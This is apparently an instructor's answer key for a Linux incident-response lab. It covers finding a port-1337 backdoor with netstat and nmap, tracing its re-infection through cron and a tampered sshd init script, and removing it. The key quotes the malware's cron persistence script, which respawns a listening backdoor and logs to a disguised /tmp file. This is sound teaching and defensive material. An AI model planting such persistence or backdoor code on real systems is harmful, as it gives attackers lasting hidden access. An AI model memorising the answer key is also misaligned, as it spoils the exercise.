**Exercise Answer Key**

1. ***What ports did you find listening on the server’s public IPs (0.0.0.0) and what processes were associated with each? How did you get this information (list specific commands & switches)?***

**ANSWER: 4-5 ports/process-binaries of**

* **22/sshd**
* **80/httpd,**
* **111/rpcbind**
* **l337/httpd,**
* **and possibly 53881/rpc.statd**

As seen from the server (using netstat):

[root@server ~]# **netstat -antp**

Local Address PID/Program name

***0.0.0.0:111 2279/rpcbind***

***0.0.0.0:80 2584/httpd***

***0.0.0.0:22 2594/sshd***

127.0.0.1:25 2624/sendmail

***0.0.0.0:1337 2583/httpd***

***0.0.0.0:53881 2300/rpc.statd***

10.1.171.61:22 16336/sshd

:::111 2279/rpcbind

:::22 2594/sshd

:::40965 2300/rpc.statd

This only shows all local port bindings. Not what’s exposed to the outside (in ***bold/italics***).

A better “external scan” (but does not show binary names) is using nmap from the audit VM:

[root@audit ~]# **nmap -sS -T5 -p 1-10000 server.example.com**

Starting Nmap 6.40 ( http://nmap.org ) at 2022-04-13 20:16 UTC

Nmap scan report for server.example.com (10.1.171.61)

Host is up (0.0011s latency).

rDNS record for 10.1.171.61: ip-10-1-171-61.ec2.internal

Not shown: 997 closed ports

PORT STATE SERVICE

***22/tcp open ssh***

***80/tcp open http***

***111/tcp filtered rpcbind***

***1337/tcp open waste***

MAC Address: 12:C1:51:F1:90:C7 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.12 seconds

1. ***What does it mean to be a standard port binding? Which of the ports/process combinations from Q1, above, are non-standard bindings? How do you know they are non-standard?***

**ANSWER: A standard or “known” port binding are ports that are known about and sometimes documented in the /etc/services file like this:**

[root@audit ~]# **egrep -e " 22/tcp" -e " 111/tcp" -e " 80/tcp" -e " 1337/tcp" -e "53881/tcp" /etc/services**

ssh 22/tcp # The Secure Shell (SSH) Protocol

http 80/tcp www www-http # WorldWideWeb HTTP

sunrpc 111/tcp portmapper rpcbind # RPC 4.0 portmapper TCP

menandmice-dns 1337/tcp # menandmice DNS

[root@audit ~]#

The first three are known and documented.. that fourth one is weird.. looking into it further (on line) shows that it’s a common trojan (hacker) port:

<https://www.speedguide.net/port.php?port=1337>

That last high power (53881) is unknown, but if you do a lookup to find out want package owns the file, you’ll see that it’s owned by the nfs package (probably legit):

[root@server ~]# **locate rpc.statd | grep bin/**

/sbin/rpc.statd

[root@server ~]# **rpm -qf /sbin/rpc.statd**

***nfs-utils-1.3.0-0.21.amzn1.x86\_64***

[root@server ~]#

1. ***What actions did you take to block non-standard ports? How did you ensure they were still blocked on reboots?***

**ANSWER: You should not only disable services/binaries to secure a server, but also block ALL unused ports using iptables.**

Explicitly blocking port connections from the outside can be done by uncommenting the last INPUT line of /etc/sysconfig/iptables (in this case), which adds a default **REJECT** reply to any ports other than those ACCEPTed before it:

...  
## These are standard TCP ports ACCEPTed or REJECTed (see look up ports in /etc/services)

-A INPUT -p tcp -m tcp --dport 22 -j ACCEPT

-A INPUT -p tcp -m tcp --dport 80 -j ACCEPT

-A INPUT -p tcp -m tcp --dport 443 -j ACCEPT

-A INPUT -p tcp -m tcp --dport 111 -j REJECT

## CATCH ALL - If no other match w/ACCEPT or REJECT above, then this REJECTs

## (currently commented out)

**-A INPUT -j REJECT --reject-with icmp-port-unreachable**

**...**

After making this iptables (firewall) change, restart iptables or reboot:

# **service iptables restart**

iptables: Flushing firewall rules: [ OK ]

iptables: Setting chains to policy ACCEPT: filter [ OK ]

iptables: Unloading modules: [ OK ]

iptables: Applying firewall rules: [ OK ]

This blocks the ports not flagged to ACCEPT. However, while this blocked external entities from trying to connect to your server, it still does not “de-worm” or clean-up (remove the malware on) the server. If there’s still a backdoor running, it can still reach-out to a command control server to allow a “reverse shell” into your system. The binaries need to be cleaned up/removed.

1. ***How did you stop any non-standard port bindings or rouge processes? How did you ensure these processes didn't return on reboot?***

**ANSWER: Remove all three malware binaries, clean up the /etc/crontab**

**and /etc/init.d/sshd filesystem (usually discovered by scanning the**

**filesystem using find or rpm).**

After seeing it, most people first try deleting the /usr/sbin/httpd and /usr/sbin/cleanup files (if they find it in /etc/crontab).. but this infection still re-infects itself after a reboot.

Inside the /usr/bin/cleanup hacker malware payload, we found a reference to a hacker log file called /tmp/.ICE.cupsd. Upon inspection, the system seems to be reinfecting itself and recording what it’s doing.

To hunt down other related malware files, one can either use :

* A recursive **grep -R "/tmp/.ICE.cupsd" /usr/bin/** to hunt down the hacker startup file (which was started from a compromised /etc/init.d/sshd startup script, and backup hacker malware being kept down in /var/lib/alternatives/ .. OR
* Do a **rpm -Va | grep ^..5 | grep bin/** to find the rogue **/usr/bin/mc** executable script..

Removing the **/usr/bin/mc** , **/usr/bin/httpd** and **/usr/bnin/cleanup**, and cleaning up the crontab, seems to clean it up as seen here:

[root@server ~]# **rm /usr/bin/mc /usr/bin/httpd /usr/bin/cleanup**

rm: remove regular file ‘/usr/bin/mc’? y

rm: remove regular file ‘/usr/bin/httpd’? y

rm: remove regular file ‘/usr/bin/cleanup’? y

[root@server ~]# **head -20 /etc/crontab > x ; cat x > /etc/crontab**

[root@server ~]# **reboot**

How do people find the boot re-infection vector? It looks like the sshd init file **/etc/iniit.d/sshd** service script was infected:

[root@server ~]# **grep -R -B1 /usr/bin/mc /etc/init.d/**

/etc/init.d/sshd-##H4X0R CAN HAZ S3RV3RZ

/etc/init.d/sshd:/usr/bin/mc

1. ***What does it mean for a system binary to be “clean”? Which system binaries were not clean and how did you discover this?***

**ANSWER: A “clean” system is a system that has never been compromised, and which passes all security scans, both internal (netstat, rpm/yum/apt, binary hash/fingerprint scans, etc). In this case, the files that tainted your system are the three files /usr/bin/mc, /usr/bin/cleanup and /usr/bin/httpd. They have to be found by either scanning the filesystem with the find or rpm (typically).**

DETAILS: Once a system is infected (root level), none of the binaries can ever be trusted or “truly clean” again. It could have a kernel root kit hijacks any attempts to see it running, and the system must be fully wiped and reinstalled. Although fairly rare, some newer viruses even infect the hard drive firmware and can re-infect, even surviving after formatting the drive and reinstalling the OS! However, this is still fairly rare today.

Just removing the malware binaries is not enough.. but is usually okay as a temporary “mop up” job to allow the server to be used until the important data can be copied off, and be wiped and reloaded.

1. ***What actions did you take to repair the bad binaries?***

**ANSWER: Removing the /usr/bin/mc httpd and cleanup, and cleaning up the crontab, seems to clean it up as seen here:**

[root@server ~]# **rm /usr/bin/mc /usr/bin/httpd /usr/bin/cleanup**

rm: remove regular file ‘/usr/bin/mc’? y

rm: remove regular file ‘/usr/bin/httpd’? y

rm: remove regular file ‘/usr/bin/cleanup’? y

[root@server ~]# **head -20 /etc/crontab > x ; cat x > /etc/crontab**

[root@server ~]# **reboot**

1. **What other changes did you make to server to make it more safe and stable across reboots?**

**ANSWER: Good class discussion. Topics can include:**

* + **Run boot up cronjob scripts to do netstat for new infections and email results**
  + **Lock down hacker ports (1337) with iptables**
  + **Lock out all binary modifications to files in /bin/ /sbin/ and /usr/bin/ and /usr/sbin**
  + **Install Intrusion Prevention systems like fail2ban (to lock out ssh brute force attacks)**
  + **Check /etc/password for unauthorized accounts**
  + **Install tripwire/inotify/FAM services to watch for altered files and alert you**

**Exercise Lab Teaching Concepts Theory**

Theory...

**• Local Port Bindings Local To The Server:**  
On the server, a netstat (showing port bindings) shows the following ports are open:

[root@server ~]# **netstat -anpt**

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name

tcp 0 0 0.0.0.0:111 0.0.0.0:\* LISTEN 2309/rpcbind

***tcp 0 0 0.0.0.0:80 0.0.0.0:\* LISTEN 2614/httpd***

tcp 0 0 0.0.0.0:22 0.0.0.0:\* LISTEN 2624/sshd

tcp 0 0 127.0.0.1:25 0.0.0.0:\* LISTEN 2654/sendmail

***tcp 0 0 0.0.0.0:1337 0.0.0.0:\* LISTEN 2613/httpd*** tcp 0 0 0.0.0.0:56579 0.0.0.0:\* LISTEN 2330/rpc.statd

tcp 0 0 10.1.120.156:58872 10.1.126.170:22 ESTABLISHED 7140/ssh

tcp 0 1072 10.1.120.156:22 10.1.6.134:58072 ESTABLISHED 6725/sshd

tcp 0 0 :::111 :::\* LISTEN 2309/rpcbind

tcp 0 0 :::22 :::\* LISTEN 2624/sshd

tcp 0 0 :::38597 :::\* LISTEN 2330/rpc.statd

It looks like a web server (80) is running.. but also has an open port on port 1337. At most, we should see port 80 and port 443. Not 1337. That’s not good.

**• Remote Port Scan of Server From Audit VM:**

You can use netstat locally to see what binaries are binding to what powers (e.g. **netstatn -antp** as root) , but you should not try to port scan (see what’s visible from the network) by port scanning from yourself. You need to do this from an external system to get an accurate picture of reality.

As such, open a second terminal (in screen), log in and sudo su - to root, and port scan the server to see what’s visible (what a hacker would see from the outside):

[root@audit ~]# **nmap -sS -p 1-10000 -T5 server.example.com**

Starting Nmap 6.40 ( http://nmap.org ) at 2022-04-13 18:15 UTC

Nmap scan report for server.example.com (10.1.120.156)

Host is up (0.0046s latency).

rDNS record for 10.1.120.156: ip-10-1-120-156.ec2.internal

Not shown: 9996 closed ports

PORT STATE SERVICE

***22/tcp open ssh***

***80/tcp open http***

***111/tcp filtered rpcbind***

***1337/tcp open waste***

MAC Address: 0A:33:CB:92:60:83 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 0.68 seconds

The italicized ports are what we can see scanning ports 1-10,000. Ports 22 and 80 are normal for a Linux web server. Port 111 is an old RPC port (we should secure that later). But port 1337 is NOT a normal service. It could be signs of a back-door, trojan-worm, or some other malware connection port availing itself to a C&C (command and control) system.

Let’s take a first hand look on the server itself.

**• Examine the Rogue Binary:**

The httpd binary seems to be doing strange stuff. Connecting to port 80 and 1337 does not act like a normal wer server (serves no web page) (e.g. try using “telnet server.example.com 80” abd type GET to see how a web server normally answers.

Let’s use RPM (which tacks all system binaries installed by RPM packages) to see what owns this rogue binary:

[root@server ~]# **rpm -qf /bin/ls**

coreutils-8.22-15.52.amzn1.x86\_64 <-- e.g. The RPM that "owns" ls

[root@server ~]# **rpm -qf /usr/bin/httpd**

***file /usr/bin/httpd is not owned by any package <---- Not good at all!***

[root@server ~]#

If you only use RPM, or yum/dnf to install rpm packages, then every binary and config file should be “owned” by an RPM package. Next step.. what happens if we remove rogue binary?

**• Remove The Rogue httpd Binary**

Remove (or set aside) the rogue httpd binary and reboot the system:

[root@server ~]# **which httpd**

/usr/bin/httpd

[root@server ~]# **mv /usr/bin/httpd /usr/bin/httpd\_ROGUE**

[root@server ~]# **reboot**

Log back in and check port binadings again…

[root@server ~]# **netstat -antp**

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name

tcp 0 0 0.0.0.0:111 0.0.0.0:\* LISTEN 2283/rpcbind

**tcp 0 0 0.0.0.0:80 0.0.0.0:\* LISTEN 2591/httpd**

tcp 0 0 0.0.0.0:22 0.0.0.0:\* LISTEN 2601/sshd

tcp 0 0 127.0.0.1:25 0.0.0.0:\* LISTEN 2631/sendmail

**tcp 0 0 0.0.0.0:1337 0.0.0.0:\* LISTEN 2590/httpd**

tcp 0 0 0.0.0.0:46185 0.0.0.0:\* LISTEN 2304/rpc.statd

tcp 0 1072 10.1.120.156:22 10.1.6.134:58340 ESTABLISHED 3508/sshd

tcp 0 0 :::111 :::\* LISTEN 2283/rpcbind

tcp 0 0 :::48945 :::\* LISTEN 2304/rpc.statd

tcp 0 0 :::22 :::\* LISTEN 2601/sshd

Wow.. still there.. If this is malware, then the system just “reinfected” itself. That tells us there’s some kind of automatic, self-healing aspect to this rogue binary.

Looking to see what’s starting the httpd binary, we would normally look to chkconfig (on redhat) or systemctl (systemd) to see what’s configured httpd to start at boot time:

[root@server ~]# **chkconfig --list|grep httpd**

## Nothing

[root@server ~]# **runlevel**

N 3 ## Looks like our run level is 3.

[root@server ~]# **chkconfig --list|grep 3:on**

## You can’t find httpd in the output

This is not even a normal daemon or web service. Something else is controlling this thing

starting up. We need to take a step back.

**• Investigate what (other than chkconfig or systemctl) automatically starts programs?**

If you know about Linux servers, you probably know about cron. I would not just spell this out for students.. but if no once figured out cron is the answer here, and the students are getting wrestless, then have them examine the system crontab file (/etc/crontab). If they don’t see anything strange, scroll down. Toward the bottom you see this:

…

\*/5 \* \* \* \* root /usr/bin/cleanup

Hmm.. that’s strange.. What’s this doing? \*/5 means “every five minutes”… run this →   
So what does this /usr/bin/cleanup file do?

[root@server ~]# **cat /usr/bin/cleanup**

#!/bin/bash

OUTPUT=/var/log/messages

HAXLOG=/tmp/.ICE.cupsd

echo Checking startup >> $HAXLOG

if $(netstat -antp|grep :1337 >/dev/null 2>&1) ; then

echo -startup OK >> $HAXLOG

sleep 1

else

echo -startup NOT-ok >> $HAXLOG

httpd -kl 0.0.0.0 1337 >> $OUTPUT &

httpd -kl 0.0.0.0 80 > /dev/null 2>&1 &

echo -startup FIXED >> $HAXLOG

fi

Wow! Okay. That’s what’s re-running the backdoor (httpd) after we kill it. Well that’s what’s Let’s clean up the crontab, remove httpd malware and reboot:

[root@server ~]# **netstat -antp**

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name

tcp 0 0 0.0.0.0:111 0.0.0.0:\* LISTEN 2285/rpcbind

***tcp 0 0 0.0.0.0:80 0.0.0.0:\* LISTEN 2590/httpd***

tcp 0 0 0.0.0.0:22 0.0.0.0:\* LISTEN 2600/sshd

tcp 0 0 127.0.0.1:25 0.0.0.0:\* LISTEN 2630/sendmail

***tcp 0 0 0.0.0.0:1337 0.0.0.0:\* LISTEN 2589/httpd***

tcp 0 0 0.0.0.0:33607 0.0.0.0:\* LISTEN 2306/rpc.statd

tcp 0 1072 10.1.143.164:22 10.1.6.134:40566 ESTABLISHED 2758/sshd

tcp 0 0 :::111 :::\* LISTEN 2285/rpcbind

tcp 0 0 :::22 :::\* LISTEN 2600/sshd

tcp 0 0 :::39421 :::\* LISTEN 2306/rpc.statd

[root@server ~]# **killall httpd** ## Kills both processes

[root@server ~]# **rm /usr/bin/httpd /usr/bin/cleanup**  ## Deletes binaries (netstat again)

rm: remove regular file ‘/usr/bin/httpd’? y

rm: remove regular file ‘/usr/bin/cleanup’? Y

[root@server ~]# vim *etc*crontab ## remove the cleanup line & reboot

[root@server ~]# reboot

Upon rebooting.. <sigh>.. the netstat httpd 80/1337, and cronjob are both back! Look at the log file that it’s logging to in /tmp/.ICE.cupsd . This seems to be the log file that’s tracking the malware infection state. Something else in the system is doing this.

**• Take A Step Back (recursive grep scanning or rpm verifies)**

What do we know?

**•** Something is reinfecting /etc/crontab (which is re-running httpd)

**•** Something is restoring BOTH /usr/bin/httpd and /user/bin/cleanup

**•** These scripts are also related to the fake log file /tmp/.ICE.cupsd

There must be something pointing to these files.

There are a couple of different ways we can dig deeper.

1) One way to find something based on the contents of files is to recursively grep every file on the system (directory by directory) for references top these files.

2) Use other tools (like rpm) can be used to dig deeper into any other system binary files that have changed since installed or upgraded.   
  
Both of these methods are useful, but each might catch something the other can not. So let’s do both.

**1) First Strategy - Scan Whole System For Known Backdoor Files:**

This may not work if the file names are obfuscated or hidden in some way that a plain text scan would miss. Let’s try anyway. This will search for the malware log file that’s disquised as a CUPS printer temp file (that we found inside /usr/bin/cleanup):

[root@server ~]# **grep -R "/tmp/.ICE.cupsd" /etc 2>/dev/null**

[root@server ~]# **grep -R "/usr/bin/httpd" /etc 2>/dev/null**

[root@server ~]# **grep -R "/usr/bin/cleanup" /etc 2>/dev/null**

/etc/crontab:\*/5 \* \* \* \* root /usr/bin/cleanup

Only one hit, but we already knew about the crontab file. No references to httpd or cleanup in the /etc/ directory.

We need a bigger picture. This will take much longer, but let’s scan the whole filesystem (the file reference could be anywhere). Let’s just grep for the **"/tmp/.ICE.cupsd"** obscured backdoor log file. This may take a while (scanning all of “/” down), but we find some new breadcrumbs:

[root@server ~]# **grep -R "/tmp/.ICE.cupsd" / 2>/dev/null**

If this locks up, then try scanning each top level directories. The first place to look for compromised files are in the system binary directories of /bin, /sbin, /usr/bin and /usr/sbin, which can only be written to by root. If anything in there looks compromised, then this means this server is system or “root-level compromised”. In this state, nothing you type or use on the system can be trusted.. the rpm, ls, and even reboot commands could have been hacked. But let’s process to see what we can see without taking the system off line. If you don’t find anything in the directories above, then cast a wider net by inspecting all files (using grep as before) in /bin/ , /boot/ , /dev/ , /home/ , /lib/, /mnt/ , /opt/ , /root/, /sbin/ , /tmp/ , /usr/ , and /var/. Find anything? Write it down.. and do the second strategy too.

**2) Second Strategy - Scan Whole System For Compromised Binaries**

Another quick way (on a red hat based OS) to take a step back and look at a bigger picture is to employ the RPM command to check all known binary file’s integrity. You can use RPM’s built in hash fingerprinting (md5sum) functionality to do a binary forensics sweep of all installed RPM binaries. This simple, rpm one line command will query the RPM database, and “verify” every known system binary on the system’s hard drive that has been installed by RPM.

[root@server ~]# **rpm -Va | grep ^..5 | grep bin/**

S.5....T. /usr/bin/mc

Ahhh.. something new!

*NOTE: The “-Va” (verify all) command reports back any deviations from file size (S), mode/permissions(M), md5sum fingerprint(5), timestamps(T) and more. The grep ^..5 command only looks for file fingerprint changes (md5sum changes to file contents), and the finally grep filters to only show files located in a bin directory.*

The RPM scan above reveals that the uncommonly run /usr/bin/mc command has been compromised and modified by something other than the rpm system.. which is, “a bad thing™”.

This tells us that we now have THREE malware files to remove:

[root@server ~]# **rm /usr/bin/httpd /usr/bin/cleanup /usr/bin/mc**

rm: remove regular file ‘/usr/bin/httpd’? y

rm: remove regular file ‘/usr/bin/cleanup’? Y

rm: remove regular file ‘/usr/bin/mc’? Y

Now clean up the /etc/crontab again (if it’s tainted again), and reboot.. again.

[root@server ~]# **reboot**

Cross your fingers and run a netstat again:

[root@server ~]# **netstat -antp**

Active Internet connections (servers and established)

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name

tcp 0 0 0.0.0.0:111 0.0.0.0:\* LISTEN 2293/rpcbind

tcp 0 0 0.0.0.0:52721 0.0.0.0:\* LISTEN 2314/rpc.statd

tcp 0 0 0.0.0.0:22 0.0.0.0:\* LISTEN 2584/sshd

tcp 0 0 127.0.0.1:25 0.0.0.0:\* LISTEN 2614/sendmail

tcp 0 0 10.1.120.156:47786 169.254.169.254:80 TIME\_WAIT -

tcp 0 0 10.1.120.156:49264 10.1.99.126:80 TIME\_WAIT -

tcp 0 0 10.1.120.156:47682 169.254.169.254:80 TIME\_WAIT -

tcp 0 1072 10.1.120.156:22 10.1.6.134:58516 ESTABLISHED 2711/sshd

tcp 0 0 :::111 :::\* LISTEN 2293/rpcbind

tcp 0 0 :::22 :::\* LISTEN 2584/sshd

tcp 0 0 :::41037 :::\* LISTEN 2314/rpc.statd

Looks good! Our new scan, shows the httpd 80/1337 ports are now gone! Yaay!